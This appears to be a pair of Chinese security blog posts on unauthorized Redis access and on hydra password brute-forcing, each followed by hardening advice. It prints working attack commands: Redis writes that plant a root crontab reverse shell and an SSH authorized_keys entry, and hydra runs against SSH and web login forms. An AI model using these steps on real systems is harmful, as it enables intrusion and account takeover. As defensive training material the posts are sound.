Redis未授权访问原理与防御

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Redis 攻击只在授权测试环境进行。对非授权 Redis 实例进行攻击可能触犯法律。

一、Redis 未授权利用链

1

① 发现 Redis → ② 确认未授权 → ③ 写 Crontab → ④ 写 SSH 密钥 → ⑤ 写 WebShell → ⑥ 提权

二、利用步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


# 确认未授权
redis-cli -h target
PING → PONG（未授权）

# 写 Crontab
set msg "\n* * * * * /bin/bash -c 'bash -i ...'"
config set dir /var/spool/cron/crontabs
config set dbfilename root
save

# 写 SSH 密钥
set sshkey "ssh-rsa AAAA..."
config set dir /root/.ssh
config set dbfilename authorized_keys
save

三、防御加固

1
2
3
4
5


requirepass 设置强密码
rename-command CONFIG ""
bind 127.0.0.1（禁止公网）
Redis 以低权限用户运行
升级到 Redis 6+（ACL 支持）

四、小结

Redis 未授权 = 服务器 GetShell。防御核心是设置密码 + 禁止公网 + 最小权限用户。

弱口令爆破：hydra实战与防御

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

弱口令爆破只在授权测试环境进行。对非授权目标爆破可能触犯法律。

一、hydra 协议矩阵

1

SSH · FTP · HTTP-POST · RDP · SMTP · Telnet · MySQL · SMB · RSYNC

二、常用命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


# SSH 爆破
hydra -l root -P rockyou.txt ssh://192.168.1.100

# HTTP POST 表单
hydra -l admin -P pass.txt http-post-form "http://target/login.php:user=^USER^&pass=^PASS^:F=login failed"

# 多线程
hydra -l admin -P pass.txt ssh://target -t 64

# 防断连
hydra -l admin -P pass.txt ssh://target -w 30

# 输出保存
hydra -l admin -P pass.txt ssh://target -o result.log

三、防御加固

1
2
3
4


SSH：关闭密码登录 · 仅密钥 · fail2ban
Web：验证码 · 登录频率限制 · 账户锁定策略
密码：最低8位 · 大小写+数字+特殊字符
监控：审计登录日志 · 异常登录告警

四、小结

hydra 支持 50+ 协议爆破。防御核心是强密码策略 + 账户锁定 + 行为监控，三者缺一不可。

防御加固 on SoulJian小站

Redis未授权访问原理与防御

写在前面：合法学习边界

一、Redis 未授权利用链

二、利用步骤

三、防御加固

四、小结

弱口令爆破：hydra实战与防御

写在前面：合法学习边界

一、hydra 协议矩阵

二、常用命令

三、防御加固

四、小结